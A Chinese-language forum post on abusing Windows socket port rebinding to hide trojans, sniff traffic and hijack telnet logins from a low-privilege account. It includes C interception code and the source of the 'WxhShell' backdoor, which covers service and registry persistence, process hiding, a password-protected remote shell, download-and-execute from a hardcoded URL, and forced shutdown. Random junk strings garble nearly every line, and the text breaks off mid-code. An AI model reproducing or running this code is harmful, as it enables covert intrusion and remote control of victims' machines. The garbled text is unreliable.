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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1tI=Dw x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z$~F9Es9  
.m\0<8C  
  saddr.sin_family = AF_INET; Rrl  
xsPt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /NiD#s0t  
d:^B2~j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Wi!"V cn  
eV(9I v[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i'>5vU0?3  
]e7?l/N[  
  这意味着什么?意味着可以进行如下的攻击: T2.[iD!A  
53a^9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u,d5/`E  
;b1B*B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U~"Y8g#qgy  
nu~]9~)I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nP*%N|0  
gVR]z9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H=f| X<8  
tk=S4 /VWv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wD{c$TJ?{F  
esx/{j;<u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -MTYtw(  
m_Q&zp["  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ).(y#zJ7P  
kmt1vV.9  
  #include iI7ocyUv  
  #include MpZ\ j  
  #include NT5'U  
  #include    Sx e6&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dY~z6bT  
  int main() |K-`  
  { #C?M-  
  WORD wVersionRequested; A%$~  
  DWORD ret; $YcB=l  
  WSADATA wsaData; nQ_{IO8/6W  
  BOOL val; ]Zc|<f;  
  SOCKADDR_IN saddr; ,J!$Q0e  
  SOCKADDR_IN scaddr; r-.@MbBm  
  int err; 1TGRIe)  
  SOCKET s; ;`:YZ+2 Z  
  SOCKET sc; >X05f#c"v/  
  int caddsize; 5Lej_uqF   
  HANDLE mt; 25{_x3t^  
  DWORD tid;   'EXx'z;/#  
  wVersionRequested = MAKEWORD( 2, 2 ); fC*cqc~{@  
  err = WSAStartup( wVersionRequested, &wsaData ); /9I/^i~  
  if ( err != 0 ) { H;=Fq+  
  printf("error!WSAStartup failed!\n"); "z3rH~q72  
  return -1; |3@DCb T  
  } uXh:/KO  
  saddr.sin_family = AF_INET; lNa+NtQu  
   wT::b V{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1d]F$ >  
}shxEsq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KbvMp1'9P  
  saddr.sin_port = htons(23); eJHh}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {o)pwM"@(  
  { !+^'Ej)z  
  printf("error!socket failed!\n"); 8SKrpwy  
  return -1; ^sLx3a  
  } BrwC9:  
  val = TRUE; u%)gnj_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y3s+.5;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wAprksZL#  
  { %(lO>4>|  
  printf("error!setsockopt failed!\n"); tULGfvp  
  return -1; cpltTJFg  
  } 4Qf sxg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #[lhem]IC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x2#JD|0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M[YFyM(  
qEST[S V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &9#m] Mz  
  { $?0ch15/  
  ret=GetLastError(); L#UR>Z#9  
  printf("error!bind failed!\n"); UlE%\L0GD&  
  return -1; =W.}&  
  } =L" 0]4K  
  listen(s,2); <GNLDpj  
  while(1) s.}K?)mH  
  { -o6rY9\_!  
  caddsize = sizeof(scaddr); y3dk4s77  
  //接受连接请求 A>yU0\A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YNU}R/u6^  
  if(sc!=INVALID_SOCKET) _]>1(8_N  
  { +JU , ^A#X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fo@^=-4A-  
  if(mt==NULL) }#O!GG{  
  { F`nQS&y  
  printf("Thread Creat Failed!\n"); }6c>BU}DF  
  break; GlAI~\A  
  } 2nd n8_l  
  } ?0VR2Yb${b  
  CloseHandle(mt); my.EvN  
  } C8}:z\A_@Z  
  closesocket(s); 0Z9DewwP  
  WSACleanup(); -1g :3'% P  
  return 0; 8vY-bm,e  
  }   }~XWtWbd-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^"/^)Lb!@M  
  { K T}  
  SOCKET ss = (SOCKET)lpParam; )|F|\6:ne  
  SOCKET sc; 6Dq4Q|C  
  unsigned char buf[4096]; k&]nF,f  
  SOCKADDR_IN saddr; rVYoxXv  
  long num; m|@H`=`d  
  DWORD val; _IDZ.\'>$  
  DWORD ret; TC\+>LXiZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Dm>"c;2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Tu#< {'1$  
  saddr.sin_family = AF_INET; <\aeC2~M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Eah6"j!B8n  
  saddr.sin_port = htons(23); ,fVD`RR(W?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u/zBz*zh  
  { ?{{w[U6NE  
  printf("error!socket failed!\n"); ETe4I`d{  
  return -1; 'ZfgCu)St  
  } )h!cOEt  
  val = 100; }htjT/Nm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SUncQJJ0S*  
  { ~Iu!B Y  
  ret = GetLastError(); 3$$E0`7.  
  return -1; )O]T}eI  
  } z^gJy,T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mPV<a&U  
  { ~GaGDS\V  
  ret = GetLastError(); tli.g  
  return -1; ~4S$+*'8  
  } l]nt@0+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?Ec9rM\ze  
  { c?p^!zG  
  printf("error!socket connect failed!\n"); DDg\oGLp  
  closesocket(sc); u2V-V#jS  
  closesocket(ss); GF'wDi}  
  return -1; o u|emAV  
  } p5Q]/DhG  
  while(1) yzA05npTl  
  { ]rmBM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I$n= >s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^4y]7 p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]$ew 5%  
  num = recv(ss,buf,4096,0); e%4?-{(  
  if(num>0) =P- &dN  
  send(sc,buf,num,0); DHidI\*gT  
  else if(num==0) qfkHGW?1/j  
  break; l^B.iB  
  num = recv(sc,buf,4096,0); VSj!Gm0LB  
  if(num>0) DT1gy:?L  
  send(ss,buf,num,0); ;|N:F G  
  else if(num==0) e _vsiT  
  break; )^h6'h`  
  } o9?@jjqH  
  closesocket(ss); cpY {o^  
  closesocket(sc); xS18t="  
  return 0 ; e5 =d Ev  
  } ]-PzN'5\'  
H^_,e= j  
Otn,UoeeB  
========================================================== aD/Rr3v>  
CU$kh z"  
下边附上一个代码,,WXhSHELL &[.5@sv  
bP,<^zA|X  
========================================================== _Fb}zPU!  
v1h(_NLI!  
#include "stdafx.h" ? @V R%z  
>&L|oq7$  
#include <stdio.h> N,ht<l\  
#include <string.h> f49kf**  
#include <windows.h>  K +7  
#include <winsock2.h> 8$Q`wRt(%  
#include <winsvc.h> h#rP]o@  
#include <urlmon.h> y)f.ON36I  
G#iQX`  
#pragma comment (lib, "Ws2_32.lib") _iwG'a[`  
#pragma comment (lib, "urlmon.lib") gfk)`>E  
c=\tf~}^Ms  
#define MAX_USER   100 // 最大客户端连接数 95;{ms[  
#define BUF_SOCK   200 // sock buffer L aTcBcI  
#define KEY_BUFF   255 // 输入 buffer e~h>b.~  
^df wWP  
#define REBOOT     0   // 重启 9#LMK 1ge  
#define SHUTDOWN   1   // 关机 ^ 5 >e  
>WLPE6E  
#define DEF_PORT   5000 // 监听端口 tMr7d  
:}Jx  
#define REG_LEN     16   // 注册表键长度 N_t,n^i9>*  
#define SVC_LEN     80   // NT服务名长度 AZ:7_4jz  
:\](m64z;  
// 从dll定义API #86N !&x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D?|D)"?qb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z0|5VLk,<{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Da^q9,|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4^_6~YP7  
H7O~So*N5  
// wxhshell配置信息 rOIb9:  
struct WSCFG { $+eeE  
  int ws_port;         // 监听端口 $0*sj XV  
  char ws_passstr[REG_LEN]; // 口令 6iFlz9XiI  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5C w( 4.  
  char ws_regname[REG_LEN]; // 注册表键名 G,8mFH  
  char ws_svcname[REG_LEN]; // 服务名 , 3R=8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .j6udiv5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AR"2?2<mJ7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1=VyD<dNG6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iAd&o `C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b3N IFKw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OjU{r N*  
qLR;:$]Q&8  
}; uJ`N'`Z  
q|5WHB  
// default Wxhshell configuration ,@"yr>Q9#6  
struct WSCFG wscfg={DEF_PORT, 7:`XE&Z  
    "xuhuanlingzhe", AvL /gt:  
    1, X)g X9DA  
    "Wxhshell", " <bjS  
    "Wxhshell", B<W}:>3  
            "WxhShell Service", LpHGt]|D  
    "Wrsky Windows CmdShell Service", "$BkO[IS  
    "Please Input Your Password: ", gI:g/ R  
  1, 0'&C5v'  
  "http://www.wrsky.com/wxhshell.exe", N'1I6e"  
  "Wxhshell.exe" cGot0' mB  
    }; (>`_N%_  
Nr4Fp`b8  
// 消息定义模块 3s\UU2yr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &BVUK"}P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k|fM9E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q/U-WQ<+  
char *msg_ws_ext="\n\rExit."; a[ULSYEi  
char *msg_ws_end="\n\rQuit."; & -/J~b)"  
char *msg_ws_boot="\n\rReboot..."; A;!5c;ftj,  
char *msg_ws_poff="\n\rShutdown..."; 3h bHS~  
char *msg_ws_down="\n\rSave to "; eDd& vf  
DksYKv  
char *msg_ws_err="\n\rErr!"; _ep&`K  
char *msg_ws_ok="\n\rOK!"; (nqhX<T>  
g}9 ,U&$]y  
char ExeFile[MAX_PATH]; 5{H)r   
int nUser = 0; Y XhZWo{B  
HANDLE handles[MAX_USER]; &0 QUObK  
int OsIsNt; 6 `6 I<OJ\  
I!zoo[/)%  
SERVICE_STATUS       serviceStatus; ZfM]A)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !&%KJS6p4  
'{`KYKLP+  
// 函数声明 EXdX%T\  
int Install(void); >9a%"<(2#  
int Uninstall(void); tBtJRi(  
int DownloadFile(char *sURL, SOCKET wsh); I{<6GIU+  
int Boot(int flag); bv;&oc:r  
void HideProc(void); 7loCb4Hv  
int GetOsVer(void); kMKI=>s+  
int Wxhshell(SOCKET wsl); B/q/sC  
void TalkWithClient(void *cs); r/HKxXT  
int CmdShell(SOCKET sock); 0t}=F 4@&a  
int StartFromService(void); <Xm5re.  
int StartWxhshell(LPSTR lpCmdLine); ]/p0j$Tq$  
VXQS~#dQj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aw/Y#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ox?LVRvxI  
HQ7-,!XO  
// 数据结构和表定义 M~I M;my  
SERVICE_TABLE_ENTRY DispatchTable[] = Vm'ReH  
{ j8?$Hk  
{wscfg.ws_svcname, NTServiceMain}, v!t*Ng  
{NULL, NULL} 7 tF1g=\  
}; 'Vy$d<@s[  
c[!e*n!y  
// 自我安装 Id]WKL:  
int Install(void) tH 5f;mY,  
{ si=/=h  
  char svExeFile[MAX_PATH]; $Pzvv`f*  
  HKEY key; *{Wh- bc  
  strcpy(svExeFile,ExeFile); dmP*2  
fL83:<RK  
// 如果是win9x系统,修改注册表设为自启动 \b.2f+;3  
if(!OsIsNt) { < t>N(e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g]$>G0E`oD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3, ,Z  
  RegCloseKey(key); =)Ew6} W6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y4@~NCU/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q*DR~Ov  
  RegCloseKey(key); i= ~HXr}  
  return 0; > m}.}g8  
    } GPP~*+n  
  } |xQj2?_z*  
} J9/9k  
else { z9h`sY~  
BTjF^&`  
// 如果是NT以上系统,安装为系统服务 iA^w2K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lxbbyy25  
if (schSCManager!=0) F!pUfF,&  
{ t=XiSj\n  
  SC_HANDLE schService = CreateService . Nog.  
  ( 8x58sOR=  
  schSCManager, S wC,=S  
  wscfg.ws_svcname, "kP.Kx!  
  wscfg.ws_svcdisp, l-t:7`=|  
  SERVICE_ALL_ACCESS, bRNE:))r_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C9gF2ii|?  
  SERVICE_AUTO_START, Bq R;d  
  SERVICE_ERROR_NORMAL, 5? c4aAn  
  svExeFile, OMKEn!Wq  
  NULL, %=#&\ldPS  
  NULL, nn#A-x}~;b  
  NULL, He#+zE ;  
  NULL, 9!bD|-6y  
  NULL 71K6] ~<  
  ); v{JCEb&wN  
  if (schService!=0) y9W*/H{[`  
  { (5km]`7z  
  CloseServiceHandle(schService); >kC@7h5)  
  CloseServiceHandle(schSCManager); XHN?pVZ7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jy&p_v1  
  strcat(svExeFile,wscfg.ws_svcname); E8%O+x}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jb ;el*,K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ij=hmTl{P  
  RegCloseKey(key); }E?s*iP  
  return 0; ).v;~yE   
    } )x( *T  
  } AqN(htGvx  
  CloseServiceHandle(schSCManager); %#7M~RB[  
} O~ qB  
} ^gb2=gWZ<  
OY[N%wr!  
return 1; : FxZdE  
}  4jG@ #  
kx'6FkZPIr  
// 自我卸载 >St  
int Uninstall(void) dZnq 96<:|  
{ _^SNI~  
  HKEY key; VJ;'$SYx  
-$e\m] }Z  
if(!OsIsNt) { ty-4yK#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |$1j;#h  
  RegDeleteValue(key,wscfg.ws_regname); Ui?t@.  
  RegCloseKey(key); k U3] eh\I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Ep-v4}  
  RegDeleteValue(key,wscfg.ws_regname); pdtK3Pf  
  RegCloseKey(key); 2H]&3kM3X  
  return 0; A`OU} 'v?L  
  } V]vk9M2q[l  
} -sc@SoS  
} F}sfk}rp  
else { }r,k*I'K  
]^ j)4us  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :UScbPG  
if (schSCManager!=0)  \f  
{ 2OK%eVba  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D, 3x:nK  
  if (schService!=0) ^-=,q.[7  
  { B&.XGo)  
  if(DeleteService(schService)!=0) { a<vCAFQ  
  CloseServiceHandle(schService); Gia_B6*Y[  
  CloseServiceHandle(schSCManager); Qz/=+A/4  
  return 0; 1lMU('r%  
  } m _:ib}  
  CloseServiceHandle(schService); r--"JO%2  
  } 6oJ~Jdn'  
  CloseServiceHandle(schSCManager); L0uN|?}  
} q$H'u[KQ06  
} 53l9s <bOQ  
w/Q'T&>b/  
return 1; L*L3;y|  
} X0 %k`3  
~BZA_w"`1  
// 从指定url下载文件 ]2Lwd@  
int DownloadFile(char *sURL, SOCKET wsh) ~Jq<FVK  
{ Iy`Zh@"~  
  HRESULT hr; e'7!aysj  
char seps[]= "/"; nP_s+k  
char *token; Y{2\==~  
char *file; PW.W.<CL  
char myURL[MAX_PATH]; - d>)  
char myFILE[MAX_PATH]; 5GpR N  
=zI eZ7  
strcpy(myURL,sURL); )7J@A%u  
  token=strtok(myURL,seps); SD JAk&Z}R  
  while(token!=NULL) 2&5"m;<  
  { rF 7EO%,  
    file=token; 4$vya+mAk5  
  token=strtok(NULL,seps); x{&Z|D_CM  
  } ZEHz/Y%  
WXXLD:gxI  
GetCurrentDirectory(MAX_PATH,myFILE); (MbI8B>  
strcat(myFILE, "\\"); *S{%+1F  
strcat(myFILE, file); kS+*@o  
  send(wsh,myFILE,strlen(myFILE),0); |QxDjL<&t4  
send(wsh,"...",3,0); ##yi^;3Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7eh}Je8  
  if(hr==S_OK) q=|>r n_  
return 0; )S>~h;  
else ~f ){`ZJc  
return 1; U7 Z_  
!y?g$e`  
} 0y|}}92:  
,R*ru*  
// 系统电源模块 *crpM3fO>  
int Boot(int flag) PZH]9[H  
{ .$S`J2Y  
  HANDLE hToken; 5/Swn9vwl  
  TOKEN_PRIVILEGES tkp; 0$* z   
\+S~N:@><k  
  if(OsIsNt) { R-hqaEB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [YJP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;>|:I(l;  
    tkp.PrivilegeCount = 1; cdzMao  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N.BD]_C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )SUT+x(DU  
if(flag==REBOOT) { g24)GjDi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Q(tryiSi  
  return 0; +B c/@.Q'  
} RH>b,  
else { <@5#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s`GSc)AI  
  return 0; )&se/x+  
} H,:Cg:E/^  
  } u?Iop/b  
  else { 7&'^H8V  
if(flag==REBOOT) { .<rL2`C[c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vb{&T<  
  return 0; V<:kS  
} <*2.B~  
else { q,QMvUK:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zu*0uL  
  return 0; P,_GTs3/G  
} 1nBE8 N  
} rS>njG;R  
AN$}%t"  
return 1; 9n |H%AC  
} K )KE0/ n  
u9N?B* &{  
// win9x进程隐藏模块 at6f(+  
void HideProc(void) TnPdpynP  
{ a!Z,~ V8  
pFGdm3pV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  J@(*(oQb  
  if ( hKernel != NULL ) pOlQOdl  
  { E88_15'3D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :pDwg d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `r+e! o  
    FreeLibrary(hKernel); lv&<kYWY  
  } +3]@0VM26;  
S%mN6b~{  
return; \hv*`ukF  
} p?0 a"5Q  
%mtW-drv>  
// 获取操作系统版本 jVi''#F?f  
int GetOsVer(void) DWm$:M4 z  
{ /_ o1b_1 U  
  OSVERSIONINFO winfo; &R\ .^3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i?4vdL8M  
  GetVersionEx(&winfo); .~ZNlI {K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G)5%f\&  
  return 1; 3$(1LN  
  else ,Z&"@g  
  return 0; Ks8S^77  
} l'B`f)  
FyZw='D  
// 客户端句柄模块 @xSS`&b  
int Wxhshell(SOCKET wsl) T]Vh]|_s  
{ S=0zP36kH:  
  SOCKET wsh; I8Y[d$z  
  struct sockaddr_in client; d-#MRl$rtK  
  DWORD myID; Vx~[;*{,C9  
"o*F$7D!  
  while(nUser<MAX_USER) (=j]fnH?  
{ Y 'Yoc  
  int nSize=sizeof(client); cZe,l1$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S_y!4;]ox  
  if(wsh==INVALID_SOCKET) return 1; &s_[~g<  
Ja4O*C<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LrX7WI  
if(handles[nUser]==0) I%h9V([  
  closesocket(wsh); `$JPF  Z  
else +w?RW^:Q=  
  nUser++; -|~6Zf"  
  } _SJ#k|vcq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); exiCy 1[+  
w-Y-;*S  
  return 0; Egi<m   
} V44IA[  
&y[Od{=  
// 关闭 socket iN %kF'&9  
void CloseIt(SOCKET wsh) nAZuA]p}S]  
{ 6#MIt:#  
closesocket(wsh); u.ffZ]\7l  
nUser--; ,P3nZ  
ExitThread(0); GPy+\P`  
} AMp[f%X  
9fp1*d  
// 客户端请求句柄 fil'._  
void TalkWithClient(void *cs) YLVIn_\}  
{ %G1kkcdH<  
Qr6[h!  
  SOCKET wsh=(SOCKET)cs; 3fgVvt-2  
  char pwd[SVC_LEN]; +/'3=!oyd  
  char cmd[KEY_BUFF]; lEL&tZ}  
char chr[1]; OGw =e{  
int i,j; 3R1v0  
1@JAY!yoo_  
  while (nUser < MAX_USER) { &> tmzlww  
R *lJe6  
if(wscfg.ws_passstr) { cY  ^>`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] mYT!(}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h[b;_>7  
  //ZeroMemory(pwd,KEY_BUFF); p^_2]%,QeM  
      i=0; Z& e_yl  
  while(i<SVC_LEN) { DF|(CQs9  
i1e|UR-wl  
  // 设置超时 Squ'd  
  fd_set FdRead; (%=[J/F/  
  struct timeval TimeOut; PTfTT_t  
  FD_ZERO(&FdRead); JE9SPFQx9M  
  FD_SET(wsh,&FdRead); DUUQz:?{J  
  TimeOut.tv_sec=8; 3e+ Ih2  
  TimeOut.tv_usec=0; qN% i$mJTo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N=]2vyh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I]t ",s/j  
7t &KKKV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bj5_=oo+d  
  pwd=chr[0]; c193Or'6Y  
  if(chr[0]==0xd || chr[0]==0xa) { MwMv[];I  
  pwd=0; ejP273*ah  
  break; xp<\7m_N  
  } tfW*(oU  
  i++; 2MaHD}1Jw  
    } GY@(%^  
N=R|s$,Oy9  
  // 如果是非法用户,关闭 socket k`ulDQu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1 ;Bgtv$  
} YTP6m9hA+  
LQo>wl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <@](uWu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  {F'~1qf  
y@'~fI!E4  
while(1) { =qNZ7>Qw  
-#y^$$i0  
  ZeroMemory(cmd,KEY_BUFF); Z /*X)mBuB  
!A|ayYBb\  
      // 自动支持客户端 telnet标准   +\ZaVi  
  j=0; |PaVb4j  
  while(j<KEY_BUFF) { D8O&`!mf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iq% 0fX  
  cmd[j]=chr[0]; o_#F,gze)S  
  if(chr[0]==0xa || chr[0]==0xd) { a*N<gId  
  cmd[j]=0; r.vezsH  
  break; ? 3t]9z  
  } },& =r= B  
  j++; 0{k*SCN#  
    } $%Kyz\;7/  
FG{45/0We  
  // 下载文件 >&-" X# :  
  if(strstr(cmd,"http://")) { Od?b(bE.]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); na0-v-  
  if(DownloadFile(cmd,wsh)) %I^y@2A4`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); An2Wj  
  else VM"z6@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?,AWXiif  
  } ;p] f5R^  
  else { E!6Nf[  
H vezi>M  
    switch(cmd[0]) { QP={b+8  
  ]ff5MY 36  
  // 帮助 s4kkzTnXE3  
  case '?': { [Fo" MeH?R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v0 uA]6:  
    break; c)Ep<W<r1  
  } x/]]~@:  
  // 安装 ,2/y(JX}*!  
  case 'i': { WVkJ=r0Ny  
    if(Install()) lE 09Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^+rxG6 L  
    else cfrvx^,2&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "i1r9TLc  
    break; <7X6ULQ  
    } {klyVb  
  // 卸载 fd&=\~1_$  
  case 'r': { Tu9[byfrI  
    if(Uninstall()) f!D~aJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xb/^n .>  
    else c_+y~X)i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5:6]ZFW  
    break; $=rLs)  
    } ^a?H "  
  // 显示 wxhshell 所在路径 =j$!N# L  
  case 'p': { D$$,T.'u  
    char svExeFile[MAX_PATH]; ^N2N>^'&1.  
    strcpy(svExeFile,"\n\r"); GT(nW|v  
      strcat(svExeFile,ExeFile); <&Q(I+^  
        send(wsh,svExeFile,strlen(svExeFile),0); _=d X01  
    break; 1}>uY  
    } c=Y8R/G<  
  // 重启 ;~ , <8  
  case 'b': { Eg;xj@S<2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;+W9EbY2  
    if(Boot(REBOOT)) S`v+rQjW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )?qH#>mD6  
    else { ,U?W  
    closesocket(wsh); LjOHlT'  
    ExitThread(0); m=.}}DcSs  
    } wO&2S-;_K  
    break; @*{sj`AS '  
    } [WxRwE  
  // 关机 Pcox~U/j  
  case 'd': { Y#[>j4<T  
